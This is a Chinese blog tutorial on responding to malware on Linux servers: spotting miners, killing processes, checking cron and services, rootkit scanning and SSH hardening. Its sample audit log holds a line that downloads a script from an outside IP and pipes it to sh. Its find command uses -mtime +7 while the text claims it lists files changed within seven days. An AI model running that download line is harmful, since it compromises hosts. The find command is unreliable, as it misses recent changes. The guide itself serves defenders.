首页 > 系统相关 >Linux应急响应技巧整理

Linux应急响应技巧整理

时间:2024-09-29 14:52:45浏览次数:13  
标签:IP rkhunter 响应 主机 Linux 进程 应急 病毒

吉祥知识星球icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247485367&idx=1&sn=837891059c360ad60db7e9ac980a3321&chksm=c0e47eebf793f7fdb8fcd7eed8ce29160cf79ba303b59858ba3a6660c6dac536774afb2a6330&scene=21#wechat_redirect

《网安面试指南》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484339&idx=1&sn=356300f169de74e7a778b04bfbbbd0ab&chksm=c0e47aeff793f3f9a5f7abcfa57695e8944e52bca2de2c7a3eb1aecb3c1e6b9cb6abe509d51f&scene=21#wechat_redirect

《Java代码审计》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484219&idx=1&sn=73564e316a4c9794019f15dd6b3ba9f6&chksm=c0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene=21#wechat_redirect

《Web安全》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484238&idx=1&sn=ca66551c31e37b8d726f151265fc9211&chksm=c0e47a12f793f3049fefde6e9ebe9ec4e2c7626b8594511bd314783719c216bd9929962a71e6&scene=21#wechat_redirect

留存备用

Linux 环境下处理应急响应事件往往会更加的棘手,因为相比于 Windows,Linux 没有像 Autorun、procexp 这样的应急响应利器,也没有统一的应急响应处理流程。所以,这篇文章将会对 Linux 环境下的应急响应流程进行讲解,并且提供每一个环节中所用到的 shell 命令,以帮助大家快速、系统化地处理 Linux 环境下的病毒。

处理 Linux 应急响应主要分为这 4 个环节:

识别现象 -> 清除病毒 -> 闭环兜底 -> 系统加固

首先从用户场景的主机异常现象出发,先识别出病毒的可疑现象。

然后定位到具体的病毒进程以及病毒文件,进行清除。

完成前 2 步还不够,病毒一般会通过一些自启动项及守护程序进行重复感染,所以我们要执行闭环兜底确保病毒不再被创建。

将主机上的病毒项清除干净后,最后就是进行系统加固了,防止病毒从 Web 再次入侵进来。

走完这 4 个环节,才能算是一个应急响应流程的结束。

图片

01 识别现象

第 1 个环节要求我们通过系统运行状态、安全设备告警,发现主机异常现象,以及确认病毒的可疑行为。

系统 CPU 是否异常

枚举进程,CPU 降序排序:top

图片

CPU 占用率超过 70% 且名字比较可疑的进程,大概率就是挖矿病毒了。

图片

是否存在可疑进程

枚举进程命令行:ps -aux

图片

病毒一般都携带可疑的命令行,当你发现命令行中带有 url 等奇怪的字符串时,就要注意了,它很可能是个病毒 downloader。

图片

安全网关有无报警

从安全网关报警中识别出威胁是最直接,但确认主机已经感染了病毒只是第一步,接下来得定位,具体是哪个进程在与 C&C 通信。

图片

监控与目标 IP 通信的进程:

while true; do netstat -antp | grep [ip]; done

图片

有时安全网关检测到的不全是恶意 IP,还有可能是个域名,这种情况下,域名对应的 IP 是变化的,我们不能直接用上述方法进行监控。

图片

我们可以先在 host 文件中添加一条规则,将恶意域名重定向到一个随机的 IP 地址,然后对其进行监控。

图片

这样就能得到与之通信的恶意进程了。

图片

有无可疑历史命令

遍历主机历史命令,查找有无恶意命令:history

图片

02 清除病毒

从第 1 个环节追溯到的进程信息,将会帮助我们定位到病毒进程 & 病毒文件,实现清除。

结束病毒进程

清除可疑进程的进程链:

ps -elf | grep [pid]
kill -9 [pid]

图片

删除病毒文件

定位病毒进程对应的文件路径:

ls -al /proc/[pid]/exe
rm -f [exe_path]

图片

03 闭环兜底

检查是否存在可疑定时任务

枚举定时任务:

crontab -l

查看 anacron 异步定时任务:

cat /etc/anacrontab

检查是否存在可疑服务

枚举主机所有服务,查看是否有恶意服务:

service --status-all

检查系统文件是否被劫持

枚举系统文件夹的文件,按修改事件排序查看 7 天内被修改过的文件:

find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la

检查是否存在病毒守护进程

监控守护进程的行为:

lsof -p [pid]

图片

strace -tt  -T -e  trace=all  -p $pid

扫描是否存在恶意驱动

枚举 / 扫描系统驱动:lsmod

图片

安装 chkrootkit 进行扫描:

wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar zxvf chkrootkit.tar.gz
cd chkrootkit-0.52
make sense
./chkrootkit

安装 rkhunter 进行扫描:

Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
tar -zxvf rkhunter-1.4.4.tar.gz
cd rkhunter-1.4.4
./installer.sh --install
rkhunter -c

04 系统加固

最后一个环节往往是大家比较容易遗忘的,Linux 平台下 90% 的病毒是通过网络传播感染的,所以,你的主机之所以会感染病毒,大部分原因也是因为 Web 安全防护不够,赶紧检查一下。

修改 SSH 弱密码

查询 log 主机登陆日志:

grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

定位有爆破的源 IP:

grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破日志的用户名密码:

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

SSH 爆破是 Linux 病毒最常用的传播手段,若存在弱密码的主机很容易被其他感染主机 SSH 爆破成功,从而再次感染病毒。

添加命令审计

为历史的命令增加登录的 IP 地址、执行命令时间等信息:

保存 1 万条命令:

sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile

在 / etc/profile 的文件尾部添加如下行数配置信息:

USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"

让配置生效:

source /etc/profile

生成效果:

76  2019-10-28 17:05:34 113.110.229.230 wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

结尾

Linux 平台下的恶意软件威胁以僵尸网络蠕虫和挖矿病毒为主,由于 Linux 大多作为服务器暴露在公网,且 Web 应用的漏洞层出不穷,所以很容易被大范围入侵,如常见的病毒:DDG、systemdMiner、BillGates、watchdogs、XorDDos,在很多 Linux 上都有。大家要养成不使用弱密码、勤打补丁的好习惯。

标签:IP,rkhunter,响应,主机,Linux,进程,应急,病毒
From: https://blog.csdn.net/liguangyao213/article/details/142603042

相关文章

  • Windows应急响应流程与思路
    吉祥知识星球http://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247485367&idx=1&sn=837891059c360ad60db7e9ac980a3321&chksm=c0e47eebf793f7fdb8fcd7eed8ce29160cf79ba303b59858ba3a6660c6dac536774afb2a6330&scene=21#wechat_redirect《网安面试指南》http://......
  • 软机器人咋模仿生物?响应式水凝胶Aquabots有啥用?快来了解一下!
          大家好,今天我们要来了解一项关于响应式水凝胶Aquabots的研究——《Responsive‐HydrogelAquabots》发表于《AdvancedScience》。在当今科技发展中,制造能像生物体一样具有响应适应性的软机器人是个挑战。而Aquabots为解决这个问题带来了新的突破。它通过独特的......
  • linux系统编程
    1.文件是对IO的抽象一切设备皆文件2.虚拟储存器是对主存和I/O设备的抽象表示3.进场是对处理器,主存和I/O设备的抽象表示 4.信号是一种异步通知事件5.进程上下文切换 6.缺页中断cpuMMU+LINUX=======》逻辑内存空间===》物理内存空间1.内存的段式管理......
  • 刘某的linux进程管理知识分享
    一、进程的基本概念1、进程和程序        程序是存储在磁盘上的可执行文件,当程序被加载到内存中开始运行时就被称为进程,一个程序可以被多次加载为很多个进程,进程就是处于活动状态的程序。2、进程的分类    进程一般分为三个种类:交互进程、批处理进程、守护......
  • .Net 6 WebApi 项目部署到 Linux 系统上的 Docker 容器
    .Net6WebApi项目部署到Linux系统上的Docker容器 1.创建一个基础的WebApi项目  注意:因为发布时候,Dockerfile文件必须和解决方案.cspro文件放在同级,所以建议勾上这个,当时遇到这个问题,导致打包镜像时找不到.cspro文件,搞了好久  点击创建,项目基础框架是这样......
  • windows应急响应(三)
    1.文件痕迹排查1.1敏感目录各个盘下的temp文件C:\Windows\SystemTemp(通常用于操作系统和一些系统服务的临时文件存储。)win+r输入regedit,打开注册表,再搜索.tmp文件cmd输入echo%tmp%查看用户运行的应用程序和软件的临时文件存储路径浏览器历史记录浏览器的历史记录......
  • linux系统下信号的概念以及相关操作函数(如何产生、捕捉信号)
    1.信号的概念信号在我们的生活中随处可见,如:古代战争中摔杯为号;现代战争中的信号弹;体育比赛中使用的信号枪......他们都有共性:1.简单2.不能携带大量信息3.满足某个特设条件才发送。信号是信息的载体,Linux/UNIX环境下,古老、经典的通信方式,现下依然是主要的通信手段。U......
  • Linux防火墙-filter表
    作者介绍:简历上没有一个精通的运维工程师。希望大家多多关注作者,下面的思维导图也是预计更新的内容和当前进度(不定时更新)。我们经过上小章节讲了Linux的部分进阶命令,我们接下来一章节来讲讲Linux防火墙。由于目前以云服务器为主,而云服务器基本上就不会使用系统自带的防火墙......
  • 2024全网最为详细的红帽系列(1)【RHCE-LJS之Linux高端骚操作实战篇】保姆级别实战教程
    欢迎各位彦祖与热巴畅游本人专栏与博客你的三连是我最大的动力以下图片仅代表专栏特色 专栏跑道一 ➡️ MYSQLREDISAdvanceoperation专栏跑道二➡️ 24NetworkSecurity-LJS ​​ ​专栏跑道三➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]​......
  • Java常用开发软件安装篇【后端】-Nginx最新版安装和配置详细教程(Windows和Linux)
    文章目录一、Windows安装1.nginx官网下载2.切换到安装路径,解压到当前文件夹3.双击nginx.exe启动nginx4.验证nginx5.nginx配置说明6.重新加载nginx二、Linux安装1.安装Nginx相关依赖2.nginx官网下载3.切换指定路径进行解压4.执行配置脚本,--prefix是指定安装目录5.编译安......